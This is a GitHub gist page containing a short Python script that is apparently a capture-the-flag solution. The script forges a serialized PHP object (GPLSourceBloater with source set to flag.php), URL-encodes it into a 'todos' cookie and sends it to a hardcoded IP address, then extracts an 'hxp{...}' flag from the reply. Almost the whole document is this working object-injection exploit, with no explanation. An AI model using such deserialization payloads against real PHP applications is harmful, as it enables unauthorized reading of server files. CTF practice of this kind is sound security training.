Skip to content

Instantly share code, notes, and snippets.

@budanthara
Created October 2, 2016 16:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save budanthara/7057b5fe5376f89167f1d5b1a34d1eb4 to your computer and use it in GitHub Desktop.
Save budanthara/7057b5fe5376f89167f1d5b1a34d1eb4 to your computer and use it in GitHub Desktop.
import requests
import re
from urllib import quote_plus
def main():
cookie = quote_plus('760463360e4919ca238d1566fc26661fa:1:{i:0;O:16:"GPLSourceBloater":1:{s:6:"source";s:8:"flag.php";}}')
url = "http://104.154.70.126:10888/"
req = requests.get(url, cookies=dict(todos=cookie))
print 'hxp{'+' '.join(re.findall(r'hxp{(.*?)}', req.text)[0].split(" "))+'}'
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment